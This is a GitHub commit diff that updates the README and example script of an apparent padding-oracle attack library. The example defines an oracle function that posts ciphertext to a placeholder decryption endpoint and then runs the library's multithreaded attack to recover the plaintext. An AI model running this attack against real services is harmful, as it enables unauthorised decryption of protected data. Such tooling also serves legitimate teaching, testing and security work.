Skip to content

Commit e24d304

Browse files
committed
Update example
1 parent 4422780 commit e24d304

File tree

2 files changed

+34
-18
lines changed

2 files changed

+34
-18
lines changed

README.md

Lines changed: 17 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -35,17 +35,25 @@ All you need is defining the **oracle function** to check whether the given ciph
3535
from padding_oracle import *
3636

3737
import requests
38+
39+
# Create a requests.Session to enable connection pool
3840
sess = requests.Session()
3941

42+
# Define a function to test if the cipher can be decrypted
4043
def oracle(cipher):
41-
r = sess.post('http://some-website.com/decrypt', data={'cipher': base64_encode(cipher)})
42-
assert 'SUCCESS' in r.text or 'FAILED' in r.text
43-
return 'SUCCESS' in r.text
44-
45-
cipher = b'[ IV ][ Block 1 ][ Block 2 ]'
46-
plaintext = padding_oracle(cipher, # cipher bytes (required)
47-
16, # block size (required)
48-
oracle, # oracle function (required)
49-
64) # number of threads
44+
resp = sess.post('http://some-website.com/decrypt',
45+
data={'cipher': base64_encode(cipher)}).text
46+
assert 'Good' in resp or 'Bad' in resp, 'Exception?'
47+
return 'Good' in resp
48+
49+
50+
cipher = b'[______IV______][____Block1____][____Block2____]'
51+
52+
53+
# DECRYPT THE CIPHER!!!
54+
plaintext = padding_oracle(cipher,
55+
block_size=16,
56+
oracle=oracle,
57+
num_threads=64)
5058

5159
```

example.py

Lines changed: 17 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,23 @@
11
from padding_oracle import *
22

33
import requests
4+
5+
# Create a requests.Session to enable connection pool
46
sess = requests.Session()
57

8+
# Define a function to test if the cipher can be decrypted
69
def oracle(cipher):
7-
r = sess.post('http://some-website.com/decrypt', data={'cipher': base64_encode(cipher)})
8-
assert 'SUCCESS' in r.text or 'FAILED' in r.text
9-
return 'SUCCESS' in r.text
10-
11-
cipher = b'[ IV ][ Block 1 ][ Block 2 ]'
12-
plaintext = padding_oracle(cipher, # cipher bytes (required)
13-
16, # block size (required)
14-
oracle, # oracle function (required)
15-
64) # number of threads
10+
resp = sess.post('http://some-website.com/decrypt',
11+
data={'cipher': base64_encode(cipher)}).text
12+
assert 'Good' in resp or 'Bad' in resp, 'Exception?'
13+
return 'Good' in resp
14+
15+
16+
cipher = b'[______IV______][____Block1____][____Block2____]'
17+
18+
19+
# DECRYPT THE CIPHER!!!
20+
plaintext = padding_oracle(cipher,
21+
block_size=16,
22+
oracle=oracle,
23+
num_threads=64)

0 commit comments

Comments
 (0)